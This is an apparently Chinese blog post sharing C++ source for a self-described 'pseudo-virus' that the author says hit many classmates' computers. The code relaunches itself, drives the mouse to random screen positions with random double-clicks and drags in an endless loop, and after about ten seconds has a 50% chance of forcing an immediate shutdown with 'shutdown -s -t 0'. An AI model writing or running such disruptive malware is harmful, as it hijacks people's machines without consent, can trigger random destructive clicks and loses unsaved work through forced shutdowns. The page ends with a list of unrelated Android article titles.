zoukankan      html  css  js  c++  java
  • 伪病毒 Rp_test

      第一个写的对电脑有破坏性的程序= =,然后发现写system的copy的时候不会用字符串替代路径,然后就萎了= =,只能写一个没有自身复制的伪病毒了,坑到了好多同学的电脑,23333.。。。

      

    //By BLADEVIL
    #include <ctime>
    #include <cstdio>
    #include <string>
    #include <cstdlib>
    #include <cstring>
    #include <direct.h>
    #include <windows.h>
    
    using namespace std;
    
    struct rec {
        int x,y;
        rec(){
            x=y=0;
        }
    }cur;
    
    int flag;
    char CurPath[100],GoalPath[100];
    
    void Recursion() {
        ShellExecute(NULL,"open","d:\Rp_test.exe",NULL,NULL,SW_MAXIMIZE);
    }
    
    rec GetAddress() {
        rec Address;
        Address.x=rand()%2000; Address.y=rand()%2000;
        return Address;
    }
    
    void Operate_Cursor() {
        rec Address=GetAddress();
        SetCursorPos(Address.x,Address.y);
        mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);
        mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);
        mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);
        mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);
        //Double Click
        Address=GetAddress();
        mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);
        Address=GetAddress();
        mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);
        //Drag
    }
    
    void Rp_Judge() {
        if (rand()%10<5) system("shutdown -s -t 0");
        flag=1;
    }
    
    int main() {
        freopen("Rp_test.out","w",stdout);
        Recursion();
        srand((int)time(NULL));
        while (1) {
            Operate_Cursor();
            printf("%d
    ",clock());
            if ((clock()>10000)&&(!flag)) Rp_Judge();
        }
        return 0;
    }
  • 相关阅读:
    Emulator PANIC: Could not open: AVD2.3.1
    VC++ 6.0 快捷键
    eclipse 中文版 变成 英文版 方法
    SharedPreferences 用法
    subString
    Android键盘属性
    【Android异常】The specified child already has a parent. You must call removeView() on the child's parent first.
    ListView的ScrollListener
    Android 自定义格式的对话框
    Android ListView 设置
  • 原文地址:https://www.cnblogs.com/BLADEVIL/p/3650568.html
Copyright © 2011-2022 走看看